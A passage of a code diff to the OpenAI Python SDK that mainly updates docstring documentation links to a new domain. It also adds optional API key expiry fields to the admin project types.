- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -2686,7 +2701,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -2703,8 +2718,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -2712,15 +2727,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2729,7 +2744,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2737,7 +2752,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2751,14 +2766,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -2767,13 +2782,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -2788,7 +2805,7 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2800,8 +2817,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -2814,17 +2831,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -2849,7 +2867,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -3372,7 +3390,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
extra_headers: Send extra headers
@@ -3409,7 +3427,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -3458,7 +3476,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -3576,7 +3594,7 @@ async def cancel(
Only responses created with the
`background` parameter set to `true` can be cancelled.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
Args:
extra_headers: Send extra headers
@@ -3732,16 +3750,16 @@ async def compact(
Returns a compacted response object.
Learn when and how to compact long-running conversations in the
- [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window).
+ [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window).
For ZDR-compatible compaction details, see
- [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
Args:
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
input: Text, image, or file inputs to the model, used to generate a response
@@ -3752,7 +3770,7 @@ async def compact(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt_cache_key: A key to use when reading from or writing to the prompt cache.
@@ -3764,7 +3782,7 @@ async def compact(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: How long to retain a prompt cache entry created by this request.
@@ -3774,17 +3792,17 @@ async def compact(
Project settings. Unless otherwise configured, the Project will use 'default'. -
If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in to
- [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
- `service_tier=fast`; for other models, either value resolves to
- `service_tier=priority`. - When not set, the default behavior is 'auto'. When
- the `service_tier` parameter is set, the response body will include the
- `service_tier` value based on the processing mode actually used to serve the
- request. This response value may be different from the value set in the
- parameter.
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To opt-in
+ to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. For models with a dedicated Fast
+ tier, either value resolves to `service_tier=fast`; for other models, either
+ value resolves to `service_tier=priority`. - When not set, the default behavior
+ is 'auto'. When the `service_tier` parameter is set, the response body will
+ include the `service_tier` value based on the processing mode actually used to
+ serve the request. This response value may be different from the value set in
+ the parameter.
extra_headers: Send extra headers
diff --git a/src/openai/resources/uploads/parts.py b/src/openai/resources/uploads/parts.py
index f9c88c1cc5..5dbfcdd401 100644
--- a/src/openai/resources/uploads/parts.py
+++ b/src/openai/resources/uploads/parts.py
@@ -56,16 +56,17 @@ def create(
) -> UploadPart:
"""
Adds a
- [Part](https://platform.openai.com/docs/api-reference/uploads/part-object) to an
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object.
- A Part represents a chunk of bytes from the file you are trying to upload.
+ [Part](https://developers.openai.com/api/reference/resources/uploads/subresources/parts)
+ to an [Upload](https://developers.openai.com/api/reference/resources/uploads)
+ object. A Part represents a chunk of bytes from the file you are trying to
+ upload.
Each Part can be at most 64 MB, and you can add Parts until you hit the Upload
maximum of 8 GB.
It is possible to add multiple Parts in parallel. You can decide the intended
order of the Parts when you
- [complete the Upload](https://platform.openai.com/docs/api-reference/uploads/complete).
+ [complete the Upload](https://developers.openai.com/api/reference/resources/uploads/methods/complete).
Args:
data: The chunk of bytes for this Part.
@@ -137,16 +138,17 @@ async def create(
) -> UploadPart:
"""
Adds a
- [Part](https://platform.openai.com/docs/api-reference/uploads/part-object) to an
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object.
- A Part represents a chunk of bytes from the file you are trying to upload.
+ [Part](https://developers.openai.com/api/reference/resources/uploads/subresources/parts)
+ to an [Upload](https://developers.openai.com/api/reference/resources/uploads)
+ object. A Part represents a chunk of bytes from the file you are trying to
+ upload.
Each Part can be at most 64 MB, and you can add Parts until you hit the Upload
maximum of 8 GB.
It is possible to add multiple Parts in parallel. You can decide the intended
order of the Parts when you
- [complete the Upload](https://platform.openai.com/docs/api-reference/uploads/complete).
+ [complete the Upload](https://developers.openai.com/api/reference/resources/uploads/methods/complete).
Args:
data: The chunk of bytes for this Part.
diff --git a/src/openai/resources/uploads/uploads.py b/src/openai/resources/uploads/uploads.py
index 1ab8d8b8c6..6715388d0d 100644
--- a/src/openai/resources/uploads/uploads.py
+++ b/src/openai/resources/uploads/uploads.py
@@ -182,24 +182,24 @@ def create(
) -> Upload:
"""
Creates an intermediate
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object
+ [Upload](https://developers.openai.com/api/reference/resources/uploads) object
that you can add
- [Parts](https://platform.openai.com/docs/api-reference/uploads/part-object) to.
- Currently, an Upload can accept at most 8 GB in total and expires after an hour
- after you create it.
+ [Parts](https://developers.openai.com/api/reference/resources/uploads/subresources/parts)
+ to. Currently, an Upload can accept at most 8 GB in total and expires after an
+ hour after you create it.
Once you complete the Upload, we will create a
- [File](https://platform.openai.com/docs/api-reference/files/object) object that
+ [File](https://developers.openai.com/api/reference/resources/files) object that
contains all the parts you uploaded. This File is usable in the rest of our
platform as a regular File object.
For certain `purpose` values, the correct `mime_type` must be specified. Please
refer to documentation for the
- [supported MIME types for your use case](https://platform.openai.com/docs/assistants/tools/file-search#supported-files).
+ [supported MIME types for your use case](https://developers.openai.com/api/docs/guides/tools-file-search#supported-files).
For guidance on the proper filename extensions for each purpose, please follow
the documentation on
- [creating a File](https://platform.openai.com/docs/api-reference/files/create).
+ [creating a File](https://developers.openai.com/api/reference/resources/files/methods/create).
Returns the Upload object with status `pending`.
@@ -216,7 +216,7 @@ def create(
purpose: The intended purpose of the uploaded file.
See the
- [documentation on File purposes](https://platform.openai.com/docs/api-reference/files/create#files-create-purpose).
+ [documentation on File purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
expires_after: The expiration policy for a file. By default, files with `purpose=batch` expire
after 30 days and all other files are persisted until they are manually deleted.
@@ -306,10 +306,10 @@ def complete(
) -> Upload:
"""
Completes the
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object).
+ [Upload](https://developers.openai.com/api/reference/resources/uploads).
Within the returned Upload object, there is a nested
- [File](https://platform.openai.com/docs/api-reference/files/object) object that
+ [File](https://developers.openai.com/api/reference/resources/files) object that
is ready to use in the rest of the platform.
You can specify the order of the Parts by passing in an ordered list of the Part
@@ -510,24 +510,24 @@ async def create(
) -> Upload:
"""
Creates an intermediate
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object
+ [Upload](https://developers.openai.com/api/reference/resources/uploads) object
that you can add
- [Parts](https://platform.openai.com/docs/api-reference/uploads/part-object) to.
- Currently, an Upload can accept at most 8 GB in total and expires after an hour
- after you create it.
+ [Parts](https://developers.openai.com/api/reference/resources/uploads/subresources/parts)
+ to. Currently, an Upload can accept at most 8 GB in total and expires after an
+ hour after you create it.
Once you complete the Upload, we will create a
- [File](https://platform.openai.com/docs/api-reference/files/object) object that
+ [File](https://developers.openai.com/api/reference/resources/files) object that
contains all the parts you uploaded. This File is usable in the rest of our
platform as a regular File object.
For certain `purpose` values, the correct `mime_type` must be specified. Please
refer to documentation for the
- [supported MIME types for your use case](https://platform.openai.com/docs/assistants/tools/file-search#supported-files).
+ [supported MIME types for your use case](https://developers.openai.com/api/docs/guides/tools-file-search#supported-files).
For guidance on the proper filename extensions for each purpose, please follow
the documentation on
- [creating a File](https://platform.openai.com/docs/api-reference/files/create).
+ [creating a File](https://developers.openai.com/api/reference/resources/files/methods/create).
Returns the Upload object with status `pending`.
@@ -544,7 +544,7 @@ async def create(
purpose: The intended purpose of the uploaded file.
See the
- [documentation on File purposes](https://platform.openai.com/docs/api-reference/files/create#files-create-purpose).
+ [documentation on File purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
expires_after: The expiration policy for a file. By default, files with `purpose=batch` expire
after 30 days and all other files are persisted until they are manually deleted.
@@ -634,10 +634,10 @@ async def complete(
) -> Upload:
"""
Completes the
- [Upload](https://platform.openai.com/docs/api-reference/uploads/object).
+ [Upload](https://developers.openai.com/api/reference/resources/uploads).
Within the returned Upload object, there is a nested
- [File](https://platform.openai.com/docs/api-reference/files/object) object that
+ [File](https://developers.openai.com/api/reference/resources/files) object that
is ready to use in the rest of the platform.
You can specify the order of the Parts by passing in an ordered list of the Part
diff --git a/src/openai/resources/vector_stores/file_batches.py b/src/openai/resources/vector_stores/file_batches.py
index 853ba3a565..8ba0201d35 100644
--- a/src/openai/resources/vector_stores/file_batches.py
+++ b/src/openai/resources/vector_stores/file_batches.py
@@ -80,12 +80,12 @@ def create(
chunking_strategy: The chunking strategy used to chunk the file(s). If not set, will use the `auto`
strategy. Only applicable if `file_ids` is non-empty.
- file_ids: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files. If `attributes` or `chunking_strategy` are provided, they will be applied
- to all files in the batch. The maximum batch size is 2000 files. This endpoint
- is recommended for multi-file ingestion and helps reduce per-vector-store write
- request pressure. Mutually exclusive with `files`.
+ file_ids: A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files. If `attributes` or `chunking_strategy` are provided, they will
+ be applied to all files in the batch. The maximum batch size is 2000 files. This
+ endpoint is recommended for multi-file ingestion and helps reduce
+ per-vector-store write request pressure. Mutually exclusive with `files`.
files: A list of objects that each include a `file_id` plus optional `attributes` or
`chunking_strategy`. Use this when you need to override metadata for specific
@@ -450,12 +450,12 @@ async def create(
chunking_strategy: The chunking strategy used to chunk the file(s). If not set, will use the `auto`
strategy. Only applicable if `file_ids` is non-empty.
- file_ids: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files. If `attributes` or `chunking_strategy` are provided, they will be applied
- to all files in the batch. The maximum batch size is 2000 files. This endpoint
- is recommended for multi-file ingestion and helps reduce per-vector-store write
- request pressure. Mutually exclusive with `files`.
+ file_ids: A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files. If `attributes` or `chunking_strategy` are provided, they will
+ be applied to all files in the batch. The maximum batch size is 2000 files. This
+ endpoint is recommended for multi-file ingestion and helps reduce
+ per-vector-store write request pressure. Mutually exclusive with `files`.
files: A list of objects that each include a `file_id` plus optional `attributes` or
`chunking_strategy`. Use this when you need to override metadata for specific
diff --git a/src/openai/resources/vector_stores/files.py b/src/openai/resources/vector_stores/files.py
index 02b6ef2143..9ce285f4ba 100644
--- a/src/openai/resources/vector_stores/files.py
+++ b/src/openai/resources/vector_stores/files.py
@@ -65,14 +65,14 @@ def create(
) -> VectorStoreFile:
"""
Create a vector store file by attaching a
- [File](https://platform.openai.com/docs/api-reference/files) to a
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object).
+ [File](https://developers.openai.com/api/reference/resources/files) to a
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores).
Args:
- file_id: A [File](https://platform.openai.com/docs/api-reference/files) ID that the
- vector store should use. Useful for tools like `file_search` that can access
+ file_id: A [File](https://developers.openai.com/api/reference/resources/files) ID that
+ the vector store should use. Useful for tools like `file_search` that can access
files. For multi-file ingestion, we recommend
- [`file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
to minimize per-vector-store write requests.
attributes: Set of 16 key-value pairs that can be attached to an object. This can be useful
@@ -297,7 +297,7 @@ def delete(
This will remove the file from the vector store but
the file itself will not be deleted. To delete the file, use the
- [delete file](https://platform.openai.com/docs/api-reference/files/delete)
+ [delete file](https://developers.openai.com/api/reference/resources/files/methods/delete)
endpoint.
Args:
@@ -497,14 +497,14 @@ async def create(
) -> VectorStoreFile:
"""
Create a vector store file by attaching a
- [File](https://platform.openai.com/docs/api-reference/files) to a
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object).
+ [File](https://developers.openai.com/api/reference/resources/files) to a
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores).
Args:
- file_id: A [File](https://platform.openai.com/docs/api-reference/files) ID that the
- vector store should use. Useful for tools like `file_search` that can access
+ file_id: A [File](https://developers.openai.com/api/reference/resources/files) ID that
+ the vector store should use. Useful for tools like `file_search` that can access
files. For multi-file ingestion, we recommend
- [`file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
to minimize per-vector-store write requests.
attributes: Set of 16 key-value pairs that can be attached to an object. This can be useful
@@ -729,7 +729,7 @@ async def delete(
This will remove the file from the vector store but
the file itself will not be deleted. To delete the file, use the
- [delete file](https://platform.openai.com/docs/api-reference/files/delete)
+ [delete file](https://developers.openai.com/api/reference/resources/files/methods/delete)
endpoint.
Args:
diff --git a/src/openai/resources/vector_stores/vector_stores.py b/src/openai/resources/vector_stores/vector_stores.py
index a177c368c1..8408af7b77 100644
--- a/src/openai/resources/vector_stores/vector_stores.py
+++ b/src/openai/resources/vector_stores/vector_stores.py
@@ -103,9 +103,9 @@ def create(
expires_after: The expiration policy for a vector store.
- file_ids: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files.
+ file_ids: A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files.
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -474,9 +474,9 @@ async def create(
expires_after: The expiration policy for a vector store.
- file_ids: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files.
+ file_ids: A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files.
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index 528eb9d9d8..2e36fd4423 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -195,7 +195,7 @@ class AuditLogListParams(TypedDict, total=False):
"""Return only events with a `type` in one of these values.
For example, `project.created`. For all options, see the documentation for the
- [audit log object](https://platform.openai.com/docs/api-reference/audit-logs/object).
+ [audit log object](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/audit_logs).
"""
limit: int
diff --git a/src/openai/types/admin/organization/project_create_params.py b/src/openai/types/admin/organization/project_create_params.py
index a6adc120bc..4893a8e98f 100644
--- a/src/openai/types/admin/organization/project_create_params.py
+++ b/src/openai/types/admin/organization/project_create_params.py
@@ -22,7 +22,7 @@ class ProjectCreateParams(TypedDict, total=False):
Your organization must have access to Data residency functionality in order to
use. See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field. Deprecated:
use `residency` instead. Do not provide both `geography` and `residency`.
"""
@@ -32,6 +32,6 @@ class ProjectCreateParams(TypedDict, total=False):
Your organization must have access to the requested residency configuration in
order to use it. See
- [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
"""
diff --git a/src/openai/types/admin/organization/projects/project_api_key.py b/src/openai/types/admin/organization/projects/project_api_key.py
index 88df839d52..15f85449c1 100644
--- a/src/openai/types/admin/organization/projects/project_api_key.py
+++ b/src/openai/types/admin/organization/projects/project_api_key.py
@@ -79,3 +79,9 @@ class ProjectAPIKey(BaseModel):
redacted_value: str
"""The redacted value of the API key"""
+
+ expires_at: Optional[int] = None
+ """
+ The Unix timestamp (in seconds) when the API key expires, or null if it does not
+ expire.
+ """
diff --git a/src/openai/types/admin/organization/projects/service_account_create_params.py b/src/openai/types/admin/organization/projects/service_account_create_params.py
index a156f70f51..795a2eef10 100644
--- a/src/openai/types/admin/organization/projects/service_account_create_params.py
+++ b/src/openai/types/admin/organization/projects/service_account_create_params.py
@@ -14,3 +14,12 @@ class ServiceAccountCreateParams(TypedDict, total=False):
create_service_account_only: Optional[bool]
"""Create the service account without default roles or an API key."""
+
+ expires_in_seconds: Optional[int]
+ """Number of seconds until the initial API key expires.
+
+ If omitted or null, the key does not expire unless the effective organization or
+ project policy requires an expiration. When a policy sets a maximum lifetime,
+ this value must be provided and must not exceed that limit. A non-null value
+ cannot be used when `create_service_account_only` is true.
+ """
diff --git a/src/openai/types/admin/organization/projects/service_account_create_response.py b/src/openai/types/admin/organization/projects/service_account_create_response.py
index eadfadebf3..8a3fb3634f 100644
--- a/src/openai/types/admin/organization/projects/service_account_create_response.py
+++ b/src/openai/types/admin/organization/projects/service_account_create_response.py
@@ -20,6 +20,12 @@ class APIKey(BaseModel):
value: str
+ expires_at: Optional[int] = None
+ """
+ The Unix timestamp (in seconds) when the API key expires, or null if it does not
+ expire.
+ """
+
class ServiceAccountCreateResponse(BaseModel):
id: str
diff --git a/src/openai/types/audio/speech_create_params.py b/src/openai/types/audio/speech_create_params.py
index b5e55f68d5..29016840fe 100644
--- a/src/openai/types/audio/speech_create_params.py
+++ b/src/openai/types/audio/speech_create_params.py
@@ -16,7 +16,8 @@ class SpeechCreateParams(TypedDict, total=False):
model: Required[Union[str, SpeechModel]]
"""
- One of the available [TTS models](https://platform.openai.com/docs/models#tts):
+ One of the available
+ [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech):
`tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
"""
@@ -27,7 +28,7 @@ class SpeechCreateParams(TypedDict, total=False):
`fable`, `onyx`, `nova`, `sage`, `shimmer`, `verse`, `marin`, and `cedar`. You
may also provide a custom voice object with an `id`, for example
`{ "id": "voice_1234" }`. Previews of the voices are available in the
- [Text to speech guide](https://platform.openai.com/docs/guides/text-to-speech#voice-options).
+ [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).
"""
instructions: str
diff --git a/src/openai/types/audio/transcription_create_params.py b/src/openai/types/audio/transcription_create_params.py
index 5e88a1fbcd..e1c29e5a3c 100644
--- a/src/openai/types/audio/transcription_create_params.py
+++ b/src/openai/types/audio/transcription_create_params.py
@@ -97,7 +97,8 @@ class TranscriptionCreateParamsBase(TypedDict, total=False):
"""An optional text to guide the model's style or continue a previous audio
segment.
- The [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ The
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
"""
@@ -163,7 +164,7 @@ class TranscriptionCreateParamsNonStreaming(TranscriptionCreateParamsBase, total
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -177,7 +178,7 @@ class TranscriptionCreateParamsStreaming(TranscriptionCreateParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
diff --git a/src/openai/types/audio/transcription_text_delta_event.py b/src/openai/types/audio/transcription_text_delta_event.py
index f9f95c8ef5..dd7827cd27 100644
--- a/src/openai/types/audio/transcription_text_delta_event.py
+++ b/src/openai/types/audio/transcription_text_delta_event.py
@@ -22,7 +22,7 @@ class Logprob(BaseModel):
class TranscriptionTextDeltaEvent(BaseModel):
"""Emitted when there is an additional text delta.
- This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `Stream` parameter set to `true`.
